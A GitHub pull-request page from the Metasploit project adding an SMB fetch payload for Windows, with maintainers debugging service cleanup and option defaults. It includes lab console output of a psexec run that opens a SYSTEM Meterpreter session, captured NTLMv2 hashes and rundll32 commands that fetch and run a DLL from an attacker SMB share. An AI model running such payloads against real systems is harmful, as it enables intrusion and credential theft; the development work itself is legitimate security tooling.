Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add an SMB-based fetch payload for Windows #18664

Merged
merged 10 commits into from Feb 14, 2024

Conversation

zeroSteiner
Copy link
Contributor

@zeroSteiner zeroSteiner commented Jan 4, 2024

Additionally closes #18664

This adds an SMB fetch-payload service and a new payload to use it. The payload invokes rundll32 but handles everything for the user automatically. This is basically the same as what the exploit/windows/smb/smb_delivery module does but as a payload meaning that the generated command can be automatically incorporated into exploits for the Windows platform that have an ARCH_CMD target.

Also included are some changes in commit 0fd5517 that fix up some things I noticed while figuring out how to implement a new fetch server. Overall, they aim to make things behave more consistently and fix up some text strings that are displayed to the user.

  • Test the new payload/cmd/windows/smb/x64/meterpreter/reverse_tcp module
    • Since Windows 10 v1709 (Redstone 3), Windows has blocked outbound guest access in SMB2 and SMB3. To enable it, set a group policy as outlined in this article.
    • Any exploit that delivers a Windows ARCH_CMD payload should work, but PSexec is probably the easiest to get up and running
  • Retest the HTTP and HTTPS payloads to verify the changes don't impact them
msf6 exploit(windows/smb/psexec) > creds
Credentials
===========

host  origin  service  public  private  realm  private_type  JtR Format  cracked_password
----  ------  -------  ------  -------  -----  ------------  ----------  ----------------

msf6 exploit(windows/smb/psexec) > set TARGET Command 
TARGET => Command
msf6 exploit(windows/smb/psexec) > set PAYLOAD cmd/windows/smb/x64/meterpreter/reverse_tcp
PAYLOAD => cmd/windows/smb/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/psexec) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
msf6 exploit(windows/smb/psexec) > show options 

Module options (exploit/windows/smb/psexec):

   Name                  Current Setting  Required  Description
   ----                  ---------------  --------  -----------
   RHOSTS                192.168.159.10   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT                 445              yes       The SMB service port (TCP)
   SERVICE_DESCRIPTION                    no        Service description to be used on target for pretty listing
   SERVICE_DISPLAY_NAME                   no        The service display name
   SERVICE_NAME                           no        The service name
   SMBDomain             MSFLAB           no        The Windows domain to use for authentication
   SMBPass               Password1!       no        The password for the specified username
   SMBSHARE                               no        The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
   SMBUser               smcintyre        no        The username to authenticate as


Payload options (cmd/windows/smb/x64/meterpreter/reverse_tcp):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   EXITFUNC        thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   FETCH_FILENAME  test.dll         yes       Payload file name to fetch; cannot contain spaces or slashes.
   FETCH_SRVHOST                    no        Local IP to use for serving payload
   FETCH_URIPATH                    no        Local URI to use for serving payload
   LHOST           192.168.159.128  yes       The listen address (an interface may be specified)
   LPORT           4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   4   Command



View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/psexec) > run

[*] Started reverse TCP handler on 192.168.159.128:4444 
[*] 192.168.159.10:445 - Connecting to the server...
[*] 192.168.159.10:445 - Authenticating to 192.168.159.10:445|MSFLAB as user 'smcintyre'...
[SMB] NTLMv2-SSP Client     : 192.168.159.10
[SMB] NTLMv2-SSP Username   : MSFLAB\DC$
[SMB] NTLMv2-SSP Hash       : DC$::MSFLAB:c52f55b1c7ea13fc:6758481c7293714ec6fa7b5329d94772:010100000000000080ee72c0423fda01258542d9453e8ac100000000020016004c004f00430041004c0044004f004d00410049004e00010012004c004f00430041004c0048004f0053005400040016004c004f00430041004c0044004f004d00410049004e00030012004c004f00430041004c0048004f00530054000700080080ee72c0423fda01060004000200000008003000300000000000000000000000004000006ae305e3d89634a2752974208e2137b802c0d05ed3b0903ddf218eb255efb5d70a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003100350039002e003100320038000000000000000000

[*] Sending stage (200774 bytes) to 192.168.159.10
[+] 192.168.159.10:445 - Service start timed out, OK if running a command or non-service executable...
[*] Meterpreter session 2 opened (192.168.159.128:4444 -> 192.168.159.10:59620) at 2024-01-04 14:18:10 -0500
[-] 192.168.159.10:445 - Unable to get handle: The server responded with an unexpected status code: STATUS_SHARING_VIOLATION
[-] 192.168.159.10:445 - Command seems to still be executing. Try increasing RETRY and DELAY
[*] 192.168.159.10:445 - Getting the command output...
[-] 192.168.159.10:445 - Unable to read file \Windows\Temp\eAIbYnrgOszJRlP.txt. RubySMB::Error::UnexpectedStatusCode: The server responded with an unexpected status code: STATUS_SHARING_VIOLATION.
[-] 192.168.159.10:445 - Error getting command output
[*] 192.168.159.10:445 - Executing cleanup...
[+] 192.168.159.10:445 - Cleanup was successful

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : DC
OS              : Windows Server 2019 (10.0 Build 17763).
Architecture    : x64
System Language : en_US
Domain          : MSFLAB
Logged On Users : 13
Meterpreter     : x64/windows
meterpreter > background 
[*] Backgrounding session 2...
cmsf6 exploit(windows/smb/psexec) > creds
Credentials
===========

host            origin          service        public     private                                                                                              realm   private_type        JtR Format  cracked_password
----            ------          -------        ------     -------                                                                                              -----   ------------        ----------  ----------------
192.168.159.10  192.168.159.10  445/tcp (smb)  smcintyre  Password1!                                                                                           MSFLAB  Password                        
192.168.159.10  192.168.159.10  445/tcp (smb)  DC$        DC$::MSFLAB:c52f55b1c7ea13fc:6758481c7293714ec6fa7b5329d94772:010100000000000080ee72c04 (TRUNCATED)  MSFLAB  Nonreplayable hash  netntlmv2   

msf6 exploit(windows/smb/psexec) >

@@ -10,7 +10,11 @@ def initialize(*args)
end

def cleanup_handler
cleanup_http_fetch_service(@fetch_service, @delete_resource)
if @fetch_service
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This change in isolation looks good to me; But this cleanup_http_fetch_service implementation that gets called looks very odd to me:

def cleanup_http_fetch_service(fetch_service, delete_resource)
unless fetch_service.nil?
escaped_srvuri = ('/' + srvuri).gsub('//', '/')
if fetch_service.resources.include?(escaped_srvuri) && delete_resource
fetch_service.remove_resource(escaped_srvuri)
end
fetch_service.deref
if fetch_service.resources.empty?
# if we don't call deref, we cannot start another httpserver
# this is a reimplementation of the cleanup_service method
# in Exploit::Remote::SocketServer
temp_service = fetch_service
fetch_service = nil
temp_service.cleanup
temp_service.deref
end
end
end

I don't think there should be two calls to deref in a single cleanup call, is there another issue hidden here maybe? 🤔

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Yeah the ref counting is wrong here; Verified with some extra logging to rex-core:

diff --git a/lib/rex/sync/ref.rb b/lib/rex/sync/ref.rb
index 50b0146..9087747 100644
--- a/lib/rex/sync/ref.rb
+++ b/lib/rex/sync/ref.rb
@@ -45,6 +45,8 @@ module Ref
     @_references       = 1
     @_references_mutex = Mutex.new
 
+    $stderr.puts "[ref-count] calling refinit: #{caller}, total references: current #{@_references}"
+
     self
   end
 
@@ -54,6 +56,7 @@ module Ref
   def ref
     @_references_mutex.synchronize {
       @_references += 1
+      $stderr.puts "[ref-count] creating ref: #{caller}, total references: current #{@_references}"
     }
 
     self
@@ -65,11 +68,15 @@ module Ref
   #
   def deref
     @_references_mutex.synchronize {
-      if ((@_references -= 1) == 0)
+      @_references -= 1
+      $stderr.puts "[ref-count] creating deref: #{caller}, total references: #{@_references}"
+      if (@_references == 0)
+        $stderr.puts "[ref-count] calling cleanup"
         cleanup
 
         true
       else
+        $stderr.puts "[ref-count] no cleanup required"
         false
       end
     }

We end up with a refcount of -1 as far as I can see from a quick glance

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Yeah that looks like an issue, but I copied it over from @bwatters-r7's original implementation here. I tested it again by removing everything after the fetch_service.deref line and confirmed I can start two services then tear them down individually and the HTTP server will remain until the last handler job is killed which is the expected behavior. Based on that, I don't think the explicit call to #cleanup is necessary, it looks like #deref handles it automatically.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I always thought this was wonky; I never understood why we needed to deref until empty, the deref again. I know in theory, it should call its own cleanup when the refcount is 0, but that expectation did not match reality.
I will go back and take a look, but I know that I could not start a second service without the second deref, and I am pretty sure that the service was never stopped. I spent a long time trying to figure out what was going on, and cursed the rex-sync library repeatedly.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@bwatters-r7 are we alright to keep the proposed changes or are you still looking into why it needed to be done this way?

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I started looking at the old commits and was trying to remember what tests I ran that made me think this was an issue. It is on my list for today to see if I can figure it out.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I found the conversation where I think I was working on this. I was unable to recreate the issue when I removed

     if fetch_service.resources.empty? 
       # if we don't call deref, we cannot start another httpserver 
       # this is a reimplementation of the cleanup_service method 
       # in Exploit::Remote::SocketServer 
       temp_service = fetch_service 
       fetch_service = nil 
       temp_service.cleanup 
       temp_service.deref 
     end 

That said, I also can not longer use the _servicemanager command.... it was hidden behind a feature flag that does not exist, and I cannot find a built-in command that matches..... It is also late, so I might be misremembering or completely missing it. I'll look again tomorrow, but this looks like an overcorrection on my part right now.

@adfoster-r7
Copy link
Contributor

Noticed this crash when poking around on the PR briefly for the HTTP service changes, I don't think it's related to this PR specifically - but thought I'd write it down:

msf6 payload(cmd/windows/http/x64/powershell_reverse_tcp) > info
[-] Error while running command info: bad-config: FETCH_SRVHOST required

Call stack:
/Users/user/Documents/code/metasploit-framework/lib/msf/core/module.rb:319:in `fail_with'
/Users/user/Documents/code/metasploit-framework/lib/msf/core/payload/adapter/fetch.rb:84:in `generate'
/Users/user/Documents/code/metasploit-framework/lib/msf/core/payload.rb:195:in `size'
/Users/user/Documents/code/metasploit-framework/lib/msf/base/serializer/readable_text.rb:500:in `dump_payload_module'
/Users/user/Documents/code/metasploit-framework/lib/msf/base/serializer/readable_text.rb:26:in `dump_module'
/Users/user/Documents/code/metasploit-framework/lib/msf/ui/console/command_dispatcher/modules.rb:138:in `print_module_info'
/Users/user/Documents/code/metasploit-framework/lib/msf/ui/console/command_dispatcher/modules.rb:178:in `cmd_info'
/Users/user/Documents/code/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:581:in `run_command'
/Users/user/Documents/code/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:530:in `block in run_single'
/Users/user/Documents/code/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:524:in `each'
/Users/user/Documents/code/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:524:in `run_single'
/Users/user/Documents/code/metasploit-framework/lib/rex/ui/text/shell.rb:165:in `block in run'
/Users/user/Documents/code/metasploit-framework/lib/rex/ui/text/shell.rb:309:in `block in with_history_manager_context'
/Users/user/Documents/code/metasploit-framework/lib/rex/ui/text/shell/history_manager.rb:33:in `with_context'
/Users/user/Documents/code/metasploit-framework/lib/rex/ui/text/shell.rb:306:in `with_history_manager_context'
/Users/user/Documents/code/metasploit-framework/lib/rex/ui/text/shell.rb:133:in `run'
/Users/user/Documents/code/metasploit-framework/lib/metasploit/framework/command/console.rb:54:in `start'
/Users/user/Documents/code/metasploit-framework/lib/metasploit/framework/command/base.rb:82:in `start'
msfconsole:23:in `<top (required)>'
/Users/user/.rvm/rubies/ruby-3.0.5/lib/ruby/3.0.0/bundler/cli/exec.rb:58:in `load'
/Users/user/.rvm/rubies/ruby-3.0.5/lib/ruby/3.0.0/bundler/cli/exec.rb:58:in `kernel_load'
/Users/user/.rvm/rubies/ruby-3.0.5/lib/ruby/3.0.0/bundler/cli/exec.rb:23:in `run'
/Users/user/.rvm/rubies/ruby-3.0.5/lib/ruby/3.0.0/bundler/cli.rb:479:in `exec'
/Users/user/.rvm/rubies/ruby-3.0.5/lib/ruby/3.0.0/bundler/vendor/thor/lib/thor/command.rb:27:in `run'
/Users/user/.rvm/rubies/ruby-3.0.5/lib/ruby/3.0.0/bundler/vendor/thor/lib/thor/invocation.rb:127:in `invoke_command'
/Users/user/.rvm/rubies/ruby-3.0.5/lib/ruby/3.0.0/bundler/vendor/thor/lib/thor.rb:392:in `dispatch'
/Users/user/.rvm/rubies/ruby-3.0.5/lib/ruby/3.0.0/bundler/cli.rb:31:in `dispatch'
/Users/user/.rvm/rubies/ruby-3.0.5/lib/ruby/3.0.0/bundler/vendor/thor/lib/thor/base.rb:485:in `start'
/Users/user/.rvm/rubies/ruby-3.0.5/lib/ruby/3.0.0/bundler/cli.rb:25:in `start'
/Users/user/.rvm/rubies/ruby-3.0.5/lib/ruby/gems/3.0.0/gems/bundler-2.2.33/libexec/bundle:49:in `block in <top (required)>'
/Users/user/.rvm/rubies/ruby-3.0.5/lib/ruby/3.0.0/bundler/friendly_errors.rb:103:in `with_friendly_errors'
/Users/user/.rvm/rubies/ruby-3.0.5/lib/ruby/gems/3.0.0/gems/bundler-2.2.33/libexec/bundle:37:in `<top (required)>'
/Users/user/.rvm/gems/ruby-3.0.5@metasploit-framework/bin/bundle:23:in `load'
/Users/user/.rvm/gems/ruby-3.0.5@metasploit-framework/bin/bundle:23:in `<main>'
/Users/user/.rvm/gems/ruby-3.0.5@metasploit-framework/bin/ruby_executable_hooks:22:in `eval'
/Users/user/.rvm/gems/ruby-3.0.5@metasploit-framework/bin/ruby_executable_hooks:22:in `<main>'

@zeroSteiner zeroSteiner force-pushed the feat/mod/fetch-smb branch 2 times, most recently from d2045aa to 17b034b Compare January 5, 2024 16:38
@zeroSteiner
Copy link
Contributor Author

Noticed this crash when poking around on the PR briefly for the HTTP service changes, I don't think it's related to this PR specifically - but thought I'd write it down:

msf6 payload(cmd/windows/http/x64/powershell_reverse_tcp) > info
[-] Error while running command info: bad-config: FETCH_SRVHOST required

Call stack:
/Users/user/Documents/code/metasploit-framework/lib/msf/core/module.rb:319:in `fail_with'
/Users/user/Documents/code/metasploit-framework/lib/msf/core/payload/adapter/fetch.rb:84:in `generate'
/Users/user/Documents/code/metasploit-framework/lib/msf/core/payload.rb:195:in `size'
/Users/user/Documents/code/metasploit-framework/lib/msf/base/serializer/readable_text.rb:500:in `dump_payload_module'
/Users/user/Documents/code/metasploit-framework/lib/msf/base/serializer/readable_text.rb:26:in `dump_module'
/Users/user/Documents/code/metasploit-framework/lib/msf/ui/console/command_dispatcher/modules.rb:138:in `print_module_info'
/Users/user/Documents/code/metasploit-framework/lib/msf/ui/console/command_dispatcher/modules.rb:178:in `cmd_info'
/Users/user/Documents/code/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:581:in `run_command'
/Users/user/Documents/code/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:530:in `block in run_single'
/Users/user/Documents/code/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:524:in `each'
/Users/user/Documents/code/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:524:in `run_single'
/Users/user/Documents/code/metasploit-framework/lib/rex/ui/text/shell.rb:165:in `block in run'
/Users/user/Documents/code/metasploit-framework/lib/rex/ui/text/shell.rb:309:in `block in with_history_manager_context'
/Users/user/Documents/code/metasploit-framework/lib/rex/ui/text/shell/history_manager.rb:33:in `with_context'
/Users/user/Documents/code/metasploit-framework/lib/rex/ui/text/shell.rb:306:in `with_history_manager_context'
/Users/user/Documents/code/metasploit-framework/lib/rex/ui/text/shell.rb:133:in `run'
/Users/user/Documents/code/metasploit-framework/lib/metasploit/framework/command/console.rb:54:in `start'
/Users/user/Documents/code/metasploit-framework/lib/metasploit/framework/command/base.rb:82:in `start'
msfconsole:23:in `<top (required)>'
/Users/user/.rvm/rubies/ruby-3.0.5/lib/ruby/3.0.0/bundler/cli/exec.rb:58:in `load'
/Users/user/.rvm/rubies/ruby-3.0.5/lib/ruby/3.0.0/bundler/cli/exec.rb:58:in `kernel_load'
/Users/user/.rvm/rubies/ruby-3.0.5/lib/ruby/3.0.0/bundler/cli/exec.rb:23:in `run'
/Users/user/.rvm/rubies/ruby-3.0.5/lib/ruby/3.0.0/bundler/cli.rb:479:in `exec'
/Users/user/.rvm/rubies/ruby-3.0.5/lib/ruby/3.0.0/bundler/vendor/thor/lib/thor/command.rb:27:in `run'
/Users/user/.rvm/rubies/ruby-3.0.5/lib/ruby/3.0.0/bundler/vendor/thor/lib/thor/invocation.rb:127:in `invoke_command'
/Users/user/.rvm/rubies/ruby-3.0.5/lib/ruby/3.0.0/bundler/vendor/thor/lib/thor.rb:392:in `dispatch'
/Users/user/.rvm/rubies/ruby-3.0.5/lib/ruby/3.0.0/bundler/cli.rb:31:in `dispatch'
/Users/user/.rvm/rubies/ruby-3.0.5/lib/ruby/3.0.0/bundler/vendor/thor/lib/thor/base.rb:485:in `start'
/Users/user/.rvm/rubies/ruby-3.0.5/lib/ruby/3.0.0/bundler/cli.rb:25:in `start'
/Users/user/.rvm/rubies/ruby-3.0.5/lib/ruby/gems/3.0.0/gems/bundler-2.2.33/libexec/bundle:49:in `block in <top (required)>'
/Users/user/.rvm/rubies/ruby-3.0.5/lib/ruby/3.0.0/bundler/friendly_errors.rb:103:in `with_friendly_errors'
/Users/user/.rvm/rubies/ruby-3.0.5/lib/ruby/gems/3.0.0/gems/bundler-2.2.33/libexec/bundle:37:in `<top (required)>'
/Users/user/.rvm/gems/ruby-3.0.5@metasploit-framework/bin/bundle:23:in `load'
/Users/user/.rvm/gems/ruby-3.0.5@metasploit-framework/bin/bundle:23:in `<main>'
/Users/user/.rvm/gems/ruby-3.0.5@metasploit-framework/bin/ruby_executable_hooks:22:in `eval'
/Users/user/.rvm/gems/ruby-3.0.5@metasploit-framework/bin/ruby_executable_hooks:22:in `<main>'

You're right, this was an existing issue but I did fix it in 17b034b. I opted to use the pattern I saw in the reverse TCP stagers which was to default to '127.127.127.127' when the host was not defined. The host should be defined though, because LHOST is a required option. I updated the definition of FETCH_SRVHOST to mark it as required if LHOST is not required. This should ensure that the option is set when the user wants to generate the payload, but a consistent default will be used otherwise.

@zeroSteiner zeroSteiner mentioned this pull request Jan 8, 2024
9 tasks
@smcintyre-r7 smcintyre-r7 added payload rn-modules release notes for new or majorly enhanced modules labels Jan 9, 2024
super
register_options(
[
Msf::OptString.new('FETCH_FILENAME', [ true, 'Payload file name to fetch; cannot contain spaces or slashes.', 'test.dll'], regex: /^[^\s\/\\]*$/),
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

To make sure that this is standardized between venom/framework and still have some amount of pseudo randomness, we could make the same approach we did with the uri:

Admittedly, I am not sure if it is worth it. a sig on test.dll would be a nightmare.

Msf::OptPort.new('FETCH_SRVPORT', [true, 'Local port to use for serving payload', 8080]),
Msf::OptAddressRoutable.new('FETCH_SRVHOST', [ false, 'Local IP to use for serving payload']),
# FETCH_SRVHOST defaults to LHOST, but if the payload doesn't connect back to Metasploit (e.g. adduser, messagebox, etc.) then FETCH_SRVHOST needs to be set
Msf::OptAddressRoutable.new('FETCH_SRVHOST', [ !options['LHOST']&.required, 'Local IP to use for serving payload']),
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Not a blocker; This UX is a bit weird for me having to specify FETCH_SRVHOST instead of the normal LHOST convention 😄

msf6 payload(cmd/windows/smb/x64/messagebox) > generate -f raw lhost=192.168.123.1
[-] Payload generation failed: One or more options failed to validate: FETCH_SRVHOST.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This makes sense to me?
If there is an LHOST value (reverse port-enabled payloads), FETCH_SRVHOST is optional, and if it is blank we use the LHOST value.
If there is no LHOST value, we require the FETCH_SRVHOST value.

There are a lot of situations where we would like the LHOST and FETCH_SRVHOST to be different, though.

msf6 payload(cmd/windows/smb/x64/meterpreter_reverse_tcp) > show options

Module options (payload/cmd/windows/smb/x64/meterpreter_reverse_tcp):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   EXITFUNC        process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   EXTENSIONS                       no        Comma-separate list of extensions to load
   EXTINIT                          no        Initialization strings for extensions
   FETCH_FILENAME  test.dll         yes       Payload file name to fetch; cannot contain spaces or slashes.
   FETCH_SRVHOST                    no        Local IP to use for serving payload
   FETCH_URIPATH                    no        Local URI to use for serving payload
   LHOST           10.5.135.201     yes       The listen address (an interface may be specified)
   LPORT           4444             yes       The listen port


View the full module info with the info, or info -d command.

msf6 payload(cmd/windows/smb/x64/meterpreter_reverse_tcp) > generate -f raw
rundll32 \\10.5.135.201\XgxUu-11BP4H1Dy-9LxxVA\test.dll,0

@adfoster-r7
Copy link
Contributor

This works great for me, but sometimes when I swap around and stop/start SMB modules - it stops working:

image

I can see the job is running fine:

msf6 payload(cmd/windows/smb/x64/messagebox) > jobs

Jobs
====

  Id  Name                    Payload                         Payload opts
  --  ----                    -------                         ------------
  4   Exploit: multi/handler  cmd/windows/smb/x64/messagebox

msf6 payload(cmd/windows/smb/x64/messagebox) > 

And from the logs it looks like the disk share is added successfully - then it just doesn't work:

D, [2024-01-24T11:31:56.034433 #16360] DEBUG -- : Adding disk share: UB6f8SmkQ0aUgCG9yb6tcw
D, [2024-01-24T11:32:05.761879 #16360] DEBUG -- : Dispatching request to do_tree_connect_smb2 (session: #<Session id: 3775702918, user_id: "WINDEV\\vagrant", state: :valid>)
D, [2024-01-24T11:32:05.762441 #16360] DEBUG -- : Received TREE_CONNECT request for share: IPC$
D, [2024-01-24T11:32:05.766125 #16360] DEBUG -- : Dispatching request to do_ioctl_smb2 (session: #<Session id: 3775702918, user_id: "WINDEV\\vagrant", state: :valid>)
D, [2024-01-24T11:32:05.766305 #16360] DEBUG -- : Received IOCTL request for share: IPC$
D, [2024-01-24T11:32:05.769429 #16360] DEBUG -- : Dispatching request to do_tree_connect_smb2 (session: #<Session id: 3775702918, user_id: "WINDEV\\vagrant", state: :valid>)
W, [2024-01-24T11:32:05.769782 #16360]  WARN -- : Received TREE_CONNECT request for non-existent share: UB6f8SmkQ0aUgCG9yb6tcw
D, [2024-01-24T11:32:05.773063 #16360] DEBUG -- : Dispatching request to do_tree_connect_smb2 (session: #<Session id: 3775702918, user_id: "WINDEV\\vagrant", state: :valid>)
W, [2024-01-24T11:32:05.773328 #16360]  WARN -- : Received TREE_CONNECT request for non-existent share: UB6f8SmkQ0aUgCG9yb6tcw
D, [2024-01-24T11:32:05.777206 #16360] DEBUG -- : Dispatching request to do_ioctl_smb2 (session: #<Session id: 3775702918, user_id: "WINDEV\\vagrant", state: :valid>)
D, [2024-01-24T11:32:05.777323 #16360] DEBUG -- : Received IOCTL request for share: IPC$
D, [2024-01-24T11:32:05.779818 #16360] DEBUG -- : Dispatching request to do_tree_connect_smb2 (session: #<Session id: 3775702918, user_id: "WINDEV\\vagrant", state: :valid>)
W, [2024-01-24T11:32:05.779995 #16360]  WARN -- : Received TREE_CONNECT request for non-existent share: UB6f8SmkQ0aUgCG9yb6tcw
D, [2024-01-24T11:32:05.782486 #16360] DEBUG -- : Dispatching request to do_tree_connect_smb2 (session: #<Session id: 3775702918, user_id: "WINDEV\\vagrant", state: :valid>)
W, [2024-01-24T11:32:05.782668 #16360]  WARN -- : Received TREE_CONNECT request for non-existent share: UB6f8SmkQ0aUgCG9yb6tcw
D, [2024-01-24T11:32:05.785993 #16360] DEBUG -- : Dispatching request to do_ioctl_smb2 (session: #<Session id: 3775702918, user_id: "WINDEV\\vagrant", state: :valid>)
D, [2024-01-24T11:32:05.786124 #16360] DEBUG -- : Received IOCTL request for share: IPC$
D, [2024-01-24T11:32:05.789574 #16360] DEBUG -- : Dispatching request to do_tree_connect_smb2 (session: #<Session id: 3775702918, user_id: "WINDEV\\vagrant", state: :valid>)
W, [2024-01-24T11:32:05.789873 #16360]  WARN -- : Received TREE_CONNECT request for non-existent share: UB6f8SmkQ0aUgCG9yb6tcw
D, [2024-01-24T11:32:05.793905 #16360] DEBUG -- : Dispatching request to do_tree_connect_smb2 (session: #<Session id: 3775702918, user_id: "WINDEV\\vagrant", state: :valid>)
W, [2024-01-24T11:32:05.794312 #16360]  WARN -- : Received TREE_CONNECT request for non-existent share: UB6f8SmkQ0aUgCG9yb6tcw
D, [2024-01-24T11:32:05.797787 #16360] DEBUG -- : Dispatching request to do_ioctl_smb2 (session: #<Session id: 3775702918, user_id: "WINDEV\\vagrant", state: :valid>)
D, [2024-01-24T11:32:05.797923 #16360] DEBUG -- : Received IOCTL request for share: IPC$
D, [2024-01-24T11:32:05.801069 #16360] DEBUG -- : Dispatching request to do_tree_connect_smb2 (session: #<Session id: 3775702918, user_id: "WINDEV\\vagrant", state: :valid>)
W, [2024-01-24T11:32:05.801500 #16360]  WARN -- : Received TREE_CONNECT request for non-existent share: UB6f8SmkQ0aUgCG9yb6tcw
D, [2024-01-24T11:32:05.805371 #16360] DEBUG -- : Dispatching request to do_tree_connect_smb2 (session: #<Session id: 3775702918, user_id: "WINDEV\\vagrant", state: :valid>)
W, [2024-01-24T11:32:05.805683 #16360]  WARN -- : Received TREE_CONNECT request for non-existent share: UB6f8SmkQ0aUgCG9yb6tcw
D, [2024-01-24T11:32:05.810008 #16360] DEBUG -- : Dispatching request to do_ioctl_smb2 (session: #<Session id: 3775702918, user_id: "WINDEV\\vagrant", state: :valid>)
D, [2024-01-24T11:32:05.810254 #16360] DEBUG -- : Received IOCTL request for share: IPC$
D, [2024-01-24T11:32:05.814275 #16360] DEBUG -- : Dispatching request to do_tree_connect_smb2 (session: #<Session id: 3775702918, user_id: "WINDEV\\vagrant", state: :valid>)
W, [2024-01-24T11:32:05.814541 #16360]  WARN -- : Received TREE_CONNECT request for non-existent share: UB6f8SmkQ0aUgCG9yb6tcw
D, [2024-01-24T11:32:05.817622 #16360] DEBUG -- : Dispatching request to do_tree_connect_smb2 (session: #<Session id: 3775702918, user_id: "WINDEV\\vagrant", state: :valid>)
W, [2024-01-24T11:32:05.817821 #16360]  WARN -- : Received TREE_CONNECT request for non-existent share: UB6f8SmkQ0aUgCG9yb6tcw

If I close and reopen msfconsole then it starts working again:

image

msf6 payload(cmd/windows/smb/x64/messagebox) > [SMB] NTLMv2-SSP Client     : 192.168.123.147
[SMB] NTLMv2-SSP Username   : WINDEV\vagrant
[SMB] NTLMv2-SSP Hash       : vagrant::WINDEV:ccd6165107e7663c:5f64b6892bc8f91bfc549069e252c537:0101000000000000004a78a9b94eda0181097aebb7623ecb00000000020016004c004f00430041004c0044004f004d00410049004e00010012004c004f00430041004c0048004f0053005400040016004c004f00430041004c0044004f004d00410049004e00030012004c004f00430041004c0048004f005300540007000800004a78a9b94eda0106000400020000000800300030000000000000000100000000200000a4af76c92da98d5aefee17813eeac0daf15facf2f278066f119df9bee6421a180a001000000000000000000000000000000000000900240063006900660073002f003100390032002e003100360038002e003100320033002e003100000000000000000000000000

Is there inbuilt logic to ignore additional incoming requests from the same target? Similar to the smb relay logic?

@bwatters-r7 bwatters-r7 self-assigned this Jan 24, 2024
@zeroSteiner
Copy link
Contributor Author

@adfoster-r7 Do you have a particular order and/or modules you ran to trigger that condition or is it sporadic?

@adfoster-r7
Copy link
Contributor

In that most recent dump, I just started cmd/windows/smb/x64/messagebox verified it worked, then stopped and started it again, and it no longer worked.

I see Brendan's assigned himself now, so I can see if he bumps into that issue or not too

@zeroSteiner
Copy link
Contributor Author

@adfoster-r7 I was unable to reproduce any issues by following those steps.

Testing Output
msf6 > use payload/cmd/windows/smb/x64/messagebox 
msf6 payload(cmd/windows/smb/x64/messagebox) > show options 

Module options (payload/cmd/windows/smb/x64/messagebox):

   Name            Current Setting   Required  Description
   ----            ---------------   --------  -----------
   EXITFUNC        process           yes       Exit technique (Accepted: '', seh, thread, process, none)
   FETCH_FILENAME  test.dll          yes       Payload file name to fetch; cannot contain spaces or slashes.
   FETCH_SRVHOST                     yes       Local IP to use for serving payload
   FETCH_URIPATH                     no        Local URI to use for serving payload
   ICON            NO                yes       Icon type (Accepted: NO, ERROR, INFORMATION, WARNING, QUESTION)
   TEXT            Hello, from MSF!  yes       Messagebox Text
   TITLE           MessageBox        yes       Messagebox Title


View the full module info with the info, or info -d command.

msf6 payload(cmd/windows/smb/x64/messagebox) > set FETCH_SRVHOST 192.168.159.128
FETCH_SRVHOST => 192.168.159.128
msf6 payload(cmd/windows/smb/x64/messagebox) > to_handler 
[*] Payload Handler Started as Job 0
msf6 payload(cmd/windows/smb/x64/messagebox) > generate -f raw
rundll32 \\192.168.159.128\UB6f8SmkQ0aUgCG9yb6tcw\test.dll,0
msf6 payload(cmd/windows/smb/x64/messagebox) > 
[SMB] NTLMv2-SSP Client     : 192.168.159.10
[SMB] NTLMv2-SSP Username   : MSFLAB\smcintyre
[SMB] NTLMv2-SSP Hash       : smcintyre::MSFLAB:46d5642abf967155:094aa1d19519b9f779e459eee61aaea8:010100000000000000db3fa70d4fda01c476e3903c08199100000000020016004c004f00430041004c0044004f004d00410049004e00010012004c004f00430041004c0048004f0053005400040016004c004f00430041004c0044004f004d00410049004e00030013004c004f00430041004c0048004f00530054000700080000db3fa70d4fda010600040002000000080030003000000000000000000000000030000006a76ae89db42aade254d5bb023b48104eb6bcdb55a3ab4651687a61ec1b457c0a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003100350039002e003100320038000000000000000000

msf6 payload(cmd/windows/smb/x64/messagebox) > 
msf6 payload(cmd/windows/smb/x64/messagebox) > 
msf6 payload(cmd/windows/smb/x64/messagebox) > 
msf6 payload(cmd/windows/smb/x64/messagebox) > 
